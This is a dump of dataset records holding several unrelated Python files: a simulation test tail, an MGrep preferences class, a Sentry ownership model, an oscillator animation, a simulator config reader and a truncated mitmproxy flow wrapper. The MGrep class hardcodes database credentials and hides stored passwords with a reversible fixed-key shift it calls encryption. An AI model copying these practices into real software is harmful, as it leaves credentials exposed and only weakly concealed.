error_array.append(error_signal)\n \n plot_wr_comparison__synapse__spd_jj_test(file_name,spike_times,target_drive,actual_drive,target_data,actual_data,file_name,V_sf_wr,j_peaks,V_sf_wr_avg,time_avg,V_sf) \n # plot_wr_comparison__synapse__spd_jj_test(file_name,spike_times,target_drive,actual_drive,target_data,actual_data,file_name,error_drive,error_signal,V_sf_wr,j_peaks,V_sf_wr_avg,time_avg,V_sf) \n \n # plot_wr_comparison__synapse__Isi_and_Isf('bias_lower all; J_sf criterion',spike_times,target_drive,actual_drive,target_data,actual_data,sf_data,synapse_1.I_c,synapse_1.I_reset,file_name,error_drive,error_signal) \n\nelapsed = time.time() - t_tot\nprint('soen_sim duration = '+str(elapsed)+' s for vary I_sy')\n", "sub_path": "synapse/_bak/s__syn__1jj__testing_spd_jj__no_si_loop.py", "file_name": "s__syn__1jj__testing_spd_jj__no_si_loop.py", "file_ext": "py", "file_size_in_byte": 3934, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "util.physical_constants", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.close", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "time.time", "line_number": 37, "usage_type": "call"}, {"api_name": "_functions.read_wr_data", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 49, "usage_type": "call"}, {"api_name": "scipy.signal.find_peaks", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 71, "usage_type": "call"}, {"api_name": "soen_sim.input_signal", "line_number": 74, "usage_type": "call"}, {"api_name": "soen_sim.synapse", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 88, "usage_type": "call"}, {"api_name": "_plotting.plot_wr_comparison__synapse__spd_jj_test", "line_number": 95, "usage_type": "call"}, {"api_name": "time.time", "line_number": 100, "usage_type": "call"}]} {"seq_id": "413606232", "text": "# -*- coding: utf-8 -*-\n\n\"\"\"\n Creato da.....: Marco Valaguzza\n Piattaforma...: Python3.6\n Data..........: 11/12/2019\n Descrizione...: Classe per la gestione delle preferenze del programma MGrep\n\"\"\"\n\nimport os\nimport platform\nimport base64\n\ndef cripta_testo(testo):\n \"\"\"\n Cripta una stringa con la chiave mgrep. Il valore restituito è di tipo byte\n \"\"\"\n key = 'mgrep_2020'\n enc = []\n for i in range(len(testo)):\n key_c = key[i % len(key)]\n enc_c = (ord(testo[i]) + ord(key_c)) % 256\n enc.append(enc_c)\n return base64.urlsafe_b64encode(bytes(enc)) \n\ndef decripta_testo(btesto):\n \"\"\"\n decripta una serie di byte con la chiave mgrep. Il valore restituito è di tipo stringa\n \"\"\"\n key = 'mgrep_2020'\n dec = []\n enc = base64.urlsafe_b64decode(btesto)\n for i in range(len(enc)):\n key_c = key[i % len(key)]\n dec_c = chr((256 + enc[i] - ord(key_c)) % 256)\n dec.append(dec_c)\n return \"\".join(dec)\n\nclass preferenze:\n def __init__(self):\n \"\"\"\n Definizione delle proprietà della classe preferenze\n \"\"\"\n # controllo su quale piattaforma viene eseguito il programma e identifico il prefisso\n if 'Windows' in platform.system():\n v_prefix = 'C:\\\\'\n else:\n v_prefix = ''\n \n # preferenze interne (da notare come tutti i nomi passano attraverso la funzione normpath \n # che a seconda del sistema operativo normalizza i vari caratteri)\n self.work_dir = os.path.normpath(v_prefix + 'MGrep\\\\')\n self.name_file_for_db_cache = os.path.normpath(v_prefix + 'MGrep\\\\MGrep.db')\n self.favorites_file = os.path.normpath(v_prefix + 'MGrep\\\\favorites_files.txt')\n self.favorites_dirs = os.path.normpath(v_prefix + 'MGrep\\\\favorites_directories.txt')\n self.v_oracle_user_sys = 'SYS'\n \n # caricamento delle password da file criptati...se non trovate uscirà messaggio di avviso all'avvio di MGrep\n try:\n v_file = open('pwd\\\\mgrep_pwd_sys.pwd','r')\n v_pwd = decripta_testo( v_file.read() )\n self.v_oracle_password_sys = v_pwd\n except:\n self.v_oracle_password_sys = ''\n try:\n v_file = open('pwd\\\\mgrep_pwd_oracle_dba.pwd','r')\n v_pwd = decripta_testo( v_file.read() )\n self.v_server_password_DB = v_pwd\n except:\n self.v_server_password_DB = ''\n try:\n v_file = open('pwd\\\\mgrep_pwd_ias.pwd','r')\n v_pwd = decripta_testo( v_file.read() ) \n self.v_server_password_iAS = v_pwd\n except:\n self.v_server_password_iAS = ''\n\n # imposto default campi ricerca stringa\n self.stringa1 = ''\n self.stringa2 = ''\n self.pathname = 'W:/source'\n self.excludepath = '00-Standards e Guidelines,01-Moduli e Tabelle,02-Documentazione OLD,03-Template,04-FAQ,05-Manutenzioni e Trasferimenti DB,06-Aggiornamento_giornaliero,99-Prove,MO-SMILE Mobile'\n self.outputfile = os.path.normpath(v_prefix + 'MGrep\\\\MGrep_Result.csv')\n self.filter = '.fmb,.rdf'\n self.flsearch = True\n self.dboracle1 = 'SMILE/SMILE@BACKUP_815'\n self.dboracle2 = 'SMI/SMI@BACKUP_815'\n self.dbsearch = True\n self.icomsearch = True\n # imposto default campi ricerca files\n self.filesearch = ''\n self.pathname2 = 'W:/source'\n self.excludepath2 = '00-Standards e Guidelines,01-Moduli e Tabelle,02-Documentazione OLD,03-Template,04-FAQ,05-Manutenzioni e Trasferimenti DB,06-Aggiornamento_giornaliero,99-Prove,MO-SMILE Mobile'\n self.filter2 = '.fmb,.rdf'\n # imposto default campi import-export\n self.table_name = ''\n self.dboracle = 'SMILE/SMILE@BACKUP_815'\n self.where_cond = ''\n self.sqlite_db = os.path.normpath(v_prefix + 'MGrep\\\\MGrepTransfer.db')\n self.table_excel = ''\n self.table_to_oracle = ''\n self.oracle_table = ''\n self.import_excel = ''\n self.excel_file = os.path.normpath(v_prefix + 'MGrep\\\\Exported_table.xlsx')\n self.csv_file = ''\n self.csv_separator = ';' \n # imposto campi di default per reformatting fix-record file\n self.ref_fix_record_file = ''\n self.ref_fix_record_file_def = '' \n\n # preferenze posizione delle window\n self.l_windows_pos = []\n \n # preferenze elenco server\n self.elenco_server = ['ICOM_815','BACKUP_815','BACKUP_2_815']\n\n def carica(self):\n \"\"\"\n carica le preferenze salvate dalla sessione precedente\n \"\"\"\n\n def carica_riga_nel_campo():\n \"\"\"\n legge la prossima riga del file e la carica nel campo ricevuto come oggetto ingresso\n il campo in ingresso è un widget di tipo testo\n \"\"\"\n v_line = v_file.readline()\n v_line = v_line.rstrip('\\n')\n return v_line\n\n # Crea la directory di lavoro dell'applicazione se non esiste: in essa verranno salvati i file delle preferenze\n if not os.path.exists(self.work_dir):\n os.makedirs(self.work_dir)\n try:\n v_file = open(os.path.join(self.work_dir, 'MGrep.ini'), 'r')\n v_ok = True\n except:\n v_ok = False\n\n if v_ok:\n # --------------------------------\n # RICERCA STRINGE\n # --------------------------------\n # stringa1\n self.stringa1 = carica_riga_nel_campo()\n # stringa2\n self.stringa2 = carica_riga_nel_campo()\n # pathname\n self.pathname = carica_riga_nel_campo()\n # output file\n self.outputfile = carica_riga_nel_campo()\n # db oracle1\n self.dboracle1 = carica_riga_nel_campo()\n # db oracle2\n self.dboracle2 = carica_riga_nel_campo()\n # file filter\n self.filter = carica_riga_nel_campo()\n # check box per esecuzione ricerche\n v_check = carica_riga_nel_campo()\n if v_check == '1':\n self.flsearch = True\n else:\n self.flsearch = False\n v_check = carica_riga_nel_campo()\n if v_check == '1':\n self.dbsearch = True\n else:\n self.dbsearch = False\n # dir escluse\n self.excludepath = carica_riga_nel_campo()\n # --------------------------------\n # RICERCA FILES\n # --------------------------------\n # file\n self.filesearch = carica_riga_nel_campo()\n # pathname\n self.pathname2 = carica_riga_nel_campo()\n # file filter\n self.filter2 = carica_riga_nel_campo()\n # dir escluse\n self.excludepath2 = carica_riga_nel_campo()\n # --------------------------------\n # IMPORT-EXPORT\n # --------------------------------\n # db oracle\n self.dboracle = carica_riga_nel_campo()\n # sqlite db name\n self.sqlite_db = carica_riga_nel_campo()\n # table name\n self.table_name = carica_riga_nel_campo()\n\n # where condition\n try:\n v_file_where = open(os.path.join(self.work_dir, 'where_condition.txt'), 'r')\n self.where_cond = v_file_where.read()\n v_file_where.close()\n except:\n pass\n\n # tabella\n self.table_excel = carica_riga_nel_campo()\n # foglio excel\n self.excel_file = carica_riga_nel_campo()\n # tabella oracle di destinazione\n self.table_to_oracle = carica_riga_nel_campo()\n # tabella oracle di partenza\n self.oracle_table = carica_riga_nel_campo()\n # foglio di excel di import\n self.import_excel = carica_riga_nel_campo()\n # csv file\n self.csv_file = carica_riga_nel_campo()\n # csv separatore\n self.csv_separator = carica_riga_nel_campo()\n # check box per esecuzione ricerche in icom\n v_check = carica_riga_nel_campo()\n if v_check == '1':\n self.icomsearch = True\n else:\n self.icomsearch = False \n # default per reformatting fix-record file\n self.ref_fix_record_file = carica_riga_nel_campo()\n self.ref_fix_record_file_def = carica_riga_nel_campo()\n \n # chiusura del file\n v_file.close()\n # --------------------------------\n # CARICA I NOMI E LA POSIZIONE DELLE WINDOW PREFERITE\n # --------------------------------\n try:\n v_file = open(os.path.join(self.work_dir, 'favorites_window.txt'), 'r')\n v_ok = True\n except:\n v_ok = False\n\n if v_ok:\n for v_line in v_file:\n self.l_windows_pos.append( v_line.rstrip('\\n').split() )\n v_file.close()\n\n def salva(self):\n \"\"\"\n salva le preferenze della sessione\n \"\"\"\n v_file = open(os.path.join(self.work_dir, 'MGrep.ini'), 'w')\n # --------------------------------\n # RICERCA STRINGE\n # --------------------------------\n # stringa1\n v_file.write(self.stringa1 + '\\n')\n # stringa2\n v_file.write(self.stringa2 + '\\n')\n # pathname\n v_file.write(self.pathname + '\\n')\n # output file\n v_file.write(self.outputfile + '\\n')\n # db oracle1,2\n v_file.write(self.dboracle1 + '\\n')\n v_file.write(self.dboracle2 + '\\n')\n # filter file\n v_file.write(self.filter + '\\n')\n # execute folder search\n if self.flsearch:\n v_file.write('1' + '\\n')\n else:\n v_file.write('0' + '\\n')\n # execute db search\n if self.dbsearch:\n v_file.write('1' + '\\n')\n else:\n v_file.write('0' + '\\n')\n # exclude dir\n v_file.write(self.excludepath + '\\n')\n # --------------------------------\n # RICERCA FILES\n # --------------------------------\n # file da ricercare\n v_file.write(self.filesearch + '\\n')\n # pathname\n v_file.write(self.pathname2 + '\\n')\n # filter file\n v_file.write(self.filter2 + '\\n')\n # exclude dir\n v_file.write(self.excludepath2 + '\\n')\n # --------------------------------\n # IMPORT-EXPORT\n # --------------------------------\n v_file.write(self.dboracle + '\\n')\n v_file.write(self.sqlite_db + '\\n')\n v_file.write(self.table_name + '\\n')\n \n # La where viene salvata in file a parte (in questo modo si preservano i caratteri di ritorno a capo)\n v_file_where = open(os.path.join(self.work_dir, 'where_condition.txt'), 'w')\n v_file_where.write(self.where_cond)\n\n v_file.write(self.table_excel + '\\n')\n v_file.write(self.excel_file + '\\n')\n\n v_file.write(self.table_to_oracle + '\\n')\n v_file.write(self.oracle_table + '\\n')\n\n v_file.write(self.import_excel + '\\n')\n\n v_file.write(self.csv_file + '\\n')\n v_file.write(self.csv_separator + '\\n') \n # --------------------------------\n # AGGIUNTA ALLE INFORMAZIONI DELLA SEARCH! execute icom search\n # -------------------------------- \n if self.icomsearch:\n v_file.write('1' + '\\n')\n else:\n v_file.write('0' + '\\n') \n # --------------------------------\n # REFORMATTING FIX-RECORD FILE\n # --------------------------------\n v_file.write(self.ref_fix_record_file + '\\n')\n v_file.write(self.ref_fix_record_file_def + '\\n')\n \n # Chiusura dei file\n v_file.close()\n v_file_where.close()\n \n def salva_pos_finestre(self):\n \"\"\"\n Salva la dimensione e la posizione delle window\n \"\"\"\n v_file = open(os.path.join(self.work_dir, 'favorites_window.txt'), 'w')\n for line in self.l_windows_pos:\n v_file.write(str(line) + '\\n')\n v_file.close()\n\n def cancella_tutto():\n \"\"\"\n cancella i files con le preferenze\n \"\"\"\n def elimina_file(p_nome_file):\n try:\n os.remove(os.path.join(self.work_dir + '/' + p_nome_file))\n except:\n pass\n\n elimina_file('MGrep.ini')\n elimina_file('MGrep.db')\n elimina_file('temp_source_db.sql')\n elimina_file('where_condition.txt')\n elimina_file('favorites_files.txt')\n elimina_file('favorites_directories.txt')\n\n# ------------------------\n# test della classe\n# ------------------------\nif __name__ == \"__main__\":\n ###\n # Parte1 = Inizializzazione oggetto e stampa dei suoi default\n ###\n o_preferenze = preferenze()\n print('-'*100)\n print('Valori preferenze di default')\n print('-'*100)\n for index in o_preferenze.__dict__:\n print(index + ((40-len(index))*' ') + ' => ' + str(o_preferenze.__dict__[index]))\n ###\n # Parte2 = Caricamento dei valori attuali del file\n ###\n o_preferenze.carica()\n print('-'*100)\n print('Valori contenuti nel file preferenze')\n print('-'*100)\n for index in o_preferenze.__dict__:\n print(index + ((40-len(index))*' ') + ' => ' + str(o_preferenze.__dict__[index]))\n ###\n # Parte3 = Provo a salvare la dimensione delle windows\n ###\n #o_preferenze.l_windows_pos.append( ('My favorites files', 0, 5, 100, 200) )\n #o_preferenze.l_windows_pos.append( ('My favorites directories', 7, 10, 200, 300) )\n #o_preferenze.salva()\n #o_preferenze.carica()\n #print('-'*100)\n #print('Valori contenuti nel file preferenze')\n #print('-'*100)\n #for index in o_preferenze.__dict__:\n # print(index + ((40-len(index))*' ') + ' => ' + str(o_preferenze.__dict__[index])) \n", "sub_path": "source/preferenze.py", "file_name": "preferenze.py", "file_ext": "py", "file_size_in_byte": 14220, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "base64.urlsafe_b64encode", "line_number": 24, "usage_type": "call"}, {"api_name": "base64.urlsafe_b64decode", "line_number": 32, "usage_type": "call"}, {"api_name": "platform.system", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path.normpath", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "os.path.normpath", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "os.path.normpath", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path", "line_number": 54, "usage_type": "attribute"}, {"api_name": "os.path.normpath", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "os.path.normpath", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path", "line_number": 83, "usage_type": "attribute"}, {"api_name": "os.path.normpath", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path", "line_number": 99, "usage_type": "attribute"}, {"api_name": "os.path.normpath", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path", "line_number": 104, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 132, "usage_type": "call"}, {"api_name": "os.path", "line_number": 132, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 133, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 135, "usage_type": "call"}, {"api_name": "os.path", "line_number": 135, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 194, "usage_type": "call"}, {"api_name": "os.path", "line_number": 194, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 230, "usage_type": "call"}, {"api_name": "os.path", "line_number": 230, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 244, "usage_type": "call"}, {"api_name": "os.path", "line_number": 244, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 292, "usage_type": "call"}, {"api_name": "os.path", "line_number": 292, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 326, "usage_type": "call"}, {"api_name": "os.path", "line_number": 326, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 337, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 337, "usage_type": "call"}, {"api_name": "os.path", "line_number": 337, "usage_type": "attribute"}]} {"seq_id": "550799604", "text": "from __future__ import absolute_import\n\nfrom jsonfield import JSONField\n\nfrom django.db import models\nfrom django.utils import timezone\n\nfrom sentry.db.models import Model, sane_repr\nfrom sentry.db.models.fields import FlexibleForeignKey\nfrom sentry.ownership.grammar import load_schema\n\n\nclass ProjectOwnership(Model):\n __core__ = True\n\n project = FlexibleForeignKey('sentry.Project', unique=True)\n raw = models.TextField(null=True)\n schema = JSONField(null=True)\n fallthrough = models.BooleanField(default=True)\n date_created = models.DateTimeField(default=timezone.now)\n last_updated = models.DateTimeField(default=timezone.now)\n is_active = models.BooleanField(default=True)\n\n # An object to indicate ownership is implicitly everyone\n Everyone = object()\n\n class Meta:\n app_label = 'sentry'\n db_table = 'sentry_projectownership'\n\n __repr__ = sane_repr('project_id', 'is_active')\n\n @classmethod\n def get_owners(cls, project_id, data):\n \"\"\"\n For a given project_id, and event data blob.\n\n If Everyone is returned, this means we implicitly are\n falling through our rules and everyone is responsible.\n\n If an empty list is returned, this means there are explicitly\n no owners.\n \"\"\"\n try:\n ownership = cls.objects.get(project_id=project_id)\n except cls.DoesNotExist:\n ownership = cls(\n project_id=project_id,\n )\n\n if ownership.schema is not None:\n for rule in load_schema(ownership.schema):\n if rule.test(data):\n # This is O(n) to resolve, but should be fine for now\n # since we don't even explain that you can use multiple\n # let alone a number that would be potentially abusive.\n owners = []\n for o in rule.owners:\n try:\n owners.append(resolve_actor(o, project_id))\n except UnknownActor:\n continue\n return owners, rule.matcher\n\n owners = cls.Everyone if ownership.fallthrough else []\n return owners, None\n\n\nclass UnknownActor(Exception):\n pass\n\n\ndef resolve_actor(owner, project_id):\n \"\"\" Convert an Owner object into an Actor \"\"\"\n from sentry.api.fields.actor import Actor\n from sentry.models import User, Team\n\n if owner.type == 'user':\n try:\n user_id = User.objects.filter(\n email__iexact=owner.identifier,\n is_active=True,\n sentry_orgmember_set__organizationmemberteam__team__projectteam__project_id=project_id,\n ).values_list('id', flat=True)[0]\n except IndexError:\n raise UnknownActor\n\n return Actor(user_id, User)\n\n if owner.type == 'team':\n try:\n team_id = Team.objects.filter(\n projectteam__project_id=project_id,\n slug=owner.identifier,\n ).values_list('id', flat=True)[0]\n except IndexError:\n raise UnknownActor\n\n return Actor(team_id, Team)\n\n raise TypeError('Unknown actor type: %r' % owner.type)\n", "sub_path": "src/sentry/models/projectownership.py", "file_name": "projectownership.py", "file_ext": "py", "file_size_in_byte": 3242, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sentry.db.models.Model", "line_number": 13, "usage_type": "name"}, {"api_name": "sentry.db.models.fields.FlexibleForeignKey", "line_number": 16, "usage_type": "call"}, {"api_name": "django.db.models.TextField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "jsonfield.JSONField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models.BooleanField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 20, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 20, "usage_type": "attribute"}, {"api_name": "django.utils.timezone", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 21, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 21, "usage_type": "attribute"}, {"api_name": "django.utils.timezone", "line_number": 21, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 22, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 22, "usage_type": "name"}, {"api_name": "sentry.db.models.sane_repr", "line_number": 31, "usage_type": "call"}, {"api_name": "sentry.ownership.grammar.load_schema", "line_number": 52, "usage_type": "call"}, {"api_name": "sentry.models.User.objects.filter", "line_number": 80, "usage_type": "call"}, {"api_name": "sentry.models.User.objects", "line_number": 80, "usage_type": "attribute"}, {"api_name": "sentry.models.User", "line_number": 80, "usage_type": "name"}, {"api_name": "sentry.api.fields.actor.Actor", "line_number": 88, "usage_type": "call"}, {"api_name": "sentry.models.User", "line_number": 88, "usage_type": "argument"}, {"api_name": "sentry.models.Team.objects.filter", "line_number": 92, "usage_type": "call"}, {"api_name": "sentry.models.Team.objects", "line_number": 92, "usage_type": "attribute"}, {"api_name": "sentry.models.Team", "line_number": 92, "usage_type": "name"}, {"api_name": "sentry.api.fields.actor.Actor", "line_number": 99, "usage_type": "call"}, {"api_name": "sentry.models.Team", "line_number": 99, "usage_type": "argument"}]} {"seq_id": "451370717", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nplt.style.use('ggplot')\n\n\ndim= 2 #The dimension of the system.\nN= 1000 #The number of steps\nR=np.zeros(dim) #The position of the particle\nV=np.zeros(dim) #The velocity of the particle\nRs=np.zeros([dim,N]) #The position of the particle in all the steps\nVs=np.zeros([dim,N]) #The velocity of the particle in all the steps\nEt=np.zeros(N) #The total energy of the system\ntime=np.zeros(N) #The total time of the system\n\n#It use to initizalize animation\ndef init():\n\tparticles.set_data([], [])\n\tline.set_data([], [])\n\ttitle.set_text(r'')\n\treturn particles,line,title\n\n#The animation using Euler method\ndef animate(i):\n\tglobal R,V,F,Rs,Vs,time,Et\n\tR, V =R+V*dt, V*(1-zeta/m*dt)-k/m*dt*R #The Euler equations\n\tRs[0:dim,i]=R\n\tVs[0:dim,i]=V\n\ttime[i]=i*dt\n\tEt[i]=0.5*m*np.linalg.norm(V)**2+0.5*k*np.linalg.norm(R)**2\n\tparticles.set_data(R[0], R[1])\n\tline.set_data(Rs[0,0:i], Rs[1,0:i])\n\ttitle.set_text(r\"$t={0:.02f},E_T={1:.3f}$\".format(i*dt,Et[i]))\n\treturn particles,line,title\n\n# System parameters\n# particle mass, spring & friction constants\nm, k, zeta = 5.0, 1.0, 0.25\n# Initial condition\nR[0], R[1] = 1., 1. # Rx(0), Ry(0)\nV[0], V[1] = 1., 0. # Vx(0), Vy(0)\ndt = 0.1*np.sqrt(k/m) # set \\Delta t\nbox = 5 # set size of draw area\n# set up the figure, axis, and plot element for animatation\nfig, ax = plt.subplots(figsize=(7.5,7.5)) # setup plot\nax = plt.axes(xlim=(-box/2,box/2),ylim=(-box/2,box/2)) # draw range\nparticles, = ax.plot([],[],'ko', ms=10) # setup plot for particle \nline,=ax.plot([],[],lw=1) # setup plot for trajectry\ntitle=ax.text(0.5,1.05,r'',transform=ax.transAxes,va='center') # title\nanim=animation.FuncAnimation(fig,animate,init_func=init,\n frames=N,interval=5,blit=True,repeat=False) # draw animation\nanim.save('movie.mp4',fps=20,dpi=400)", "sub_path": "Python/Stochastic Processes/Oscilator.py", "file_name": "Oscilator.py", "file_ext": "py", "file_size_in_byte": 1851, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "matplotlib.pyplot.style.use", "line_number": 4, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 4, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 4, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 30, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axes", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.animation.FuncAnimation", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.animation", "line_number": 50, "usage_type": "name"}]} {"seq_id": "519817261", "text": "from collections import namedtuple\n\nIntAdderConfig = namedtuple(\"IntAdderConfig\", [\"no_of_rs\", \"cycles_in_exe\", \"functional_unit\"])\nFpAdderConfig = namedtuple(\"FpAdderConfig\", [\"no_of_rs\", \"cycles_in_exe\", \"functional_unit\"])\nFpMulConfig = namedtuple(\"FpMulConfig\", [\"no_of_rs\", \"cycles_in_exe\", \"functional_unit\"])\nLdSdConfig = namedtuple(\"LdSdConfig\", [\"no_of_rs\", \"cycles_in_exe\", \"cycles_in_mem\", \"functional_unit\"])\n\n\ndef read_config(file_name):\n config_file = open(file_name, \"r+\")\n # skip header\n config_file.readline()\n\n # fetch functional unit, rs and other configurations\n int_adder_details = config_file.readline()\n fp_adder_details = config_file.readline()\n fp_multiplier_details = config_file.readline()\n load_store_details = config_file.readline()\n int_adder_items = ' '.join(int_adder_details.split()).split(' ')\n fp_adder_items = ' '.join(fp_adder_details.split()).split(' ')\n fp_multiplier_items = ' '.join(fp_multiplier_details.split()).split(' ')\n ls_items = ' '.join(load_store_details.split()).split(' ')\n int_a_config = IntAdderConfig(int(int_adder_items[-3]), int(int_adder_items[-2]),\n int(int_adder_items[-1]))\n fp_a_config = FpAdderConfig(int(fp_adder_items[-3]), int(fp_adder_items[-2]), int(fp_adder_items[-1]))\n fp_m_config = FpMulConfig(int(fp_multiplier_items[-3]), int(fp_multiplier_items[-2]),\n int(fp_multiplier_items[-1]))\n ls_config = LdSdConfig(int(ls_items[-4]), int(ls_items[-3]), int(ls_items[-2]), int(ls_items[-1]))\n\n config_file.readline()\n rob_line = config_file.readline()[:-1]\n number_of_rob = int(rob_line.split(\" = \")[1])\n register_file_lines = config_file.readline()[:-1]\n\n # integer REG\n reg_int = [0 for _ in range(32)]\n\n # fp REG\n reg_fp = [0.0 for _ in range(32)]\n\n entries = register_file_lines.split(\", \")\n for entry in entries:\n if entry.startswith(\"R\"):\n idx, value = entry[1:].split(\"=\")\n reg_int[int(idx)] = int(value)\n elif entry.startswith(\"F\"):\n idx, value = entry[1:].split(\"=\")\n reg_fp[int(idx)] = float(value)\n\n # memory\n memory = [0.0 for _ in range(256)]\n memory_line = config_file.readline()[:-1]\n memory_values = memory_line.split(\", \")\n for memory_val in memory_values:\n memory_val = memory_val.replace(\"Mem\", \"\")\n idx, value = memory_val.split(\"=\")\n memory[int(idx[1:-1])] = float(value)\n\n return int_a_config, fp_a_config, fp_m_config, ls_config, number_of_rob, reg_int, reg_fp, memory\n", "sub_path": "memory_p/util.py", "file_name": "util.py", "file_ext": "py", "file_size_in_byte": 2595, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "collections.namedtuple", "line_number": 3, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 4, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 5, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 6, "usage_type": "call"}]} {"seq_id": "578957318", "text": "from mitmproxy import http\nfrom mitmproxy import ctx\nimport json\nfrom mitm_logging import log_error\n\n\nclass SimpleFlow:\n\n def __init__(self, url, original_request, modified_request, response, flow):\n self.url = url\n self.request = SimpleFlow.get_json_from_unknown(\n original_request)\n self.modified_request = SimpleFlow.get_json_from_unknown(\n modified_request)\n if not self.modified_request:\n self.modified_request = json.loads(\n json.dumps(self.request))\n self.response = SimpleFlow.get_json_from_unknown(response)\n if not flow:\n raise Exception(\"[-] flow is null\")\n\n self.flow = flow\n self.flow_id = flow.id\n self.status_code = None\n\n @staticmethod\n def get_json_from_unknown(unknown_object):\n j = unknown_object\n if len(str(j)) == 0:\n return {}\n if not unknown_object:\n return {}\n try:\n if type(j) is str:\n j = json.loads(j)\n if type(j) is str:\n j = json.dumps(j)\n raise Exception((j))\n except:\n return {\"no_json\": j}\n return j\n\n @staticmethod\n def from_flow(flow: http.HTTPFlow) -> None:\n if not flow:\n raise Exception(\"[-] flow is null\")\n\n url = flow.request.pretty_url\n request = SimpleFlow.json_from_http(flow.request)\n response = None\n status_code = None\n if flow.response:\n response = SimpleFlow.json_from_http(flow.response)\n status_code = flow.response.status_code\n simple_flow = SimpleFlow(url, request, None, response, flow)\n simple_flow.status_code = status_code\n\n return simple_flow\n\n @staticmethod\n def json_from_http(http_object):\n content = http_object.get_content()\n if len(content) == 0:\n return \"\"\n try:\n content = content.decode('utf-8')\n return content\n except Exception as e:\n return \"\"\n\n def to_json(self):\n return {'url': self.url, 'status_code': self.status_code, 'original_request': self.request,\n 'modified_request': self.modified_request, 'response': self.response}\n\n @staticmethod\n def from_json(json_flow):\n request = json_flow.get('original_request', {})\n if not request:\n request = json_flow.get('request', {})\n modified_request = json_flow.get('modified_request', {})\n simple_flow = SimpleFlow(\n json_flow['url'], request, modified_request, json_flow['response'], None)\n simple_flow.status_code = json_flow.get('status_code', None)\n return simple_flow\n", "sub_path": "2019_4/dungeon_crusher/simple_flow.py", 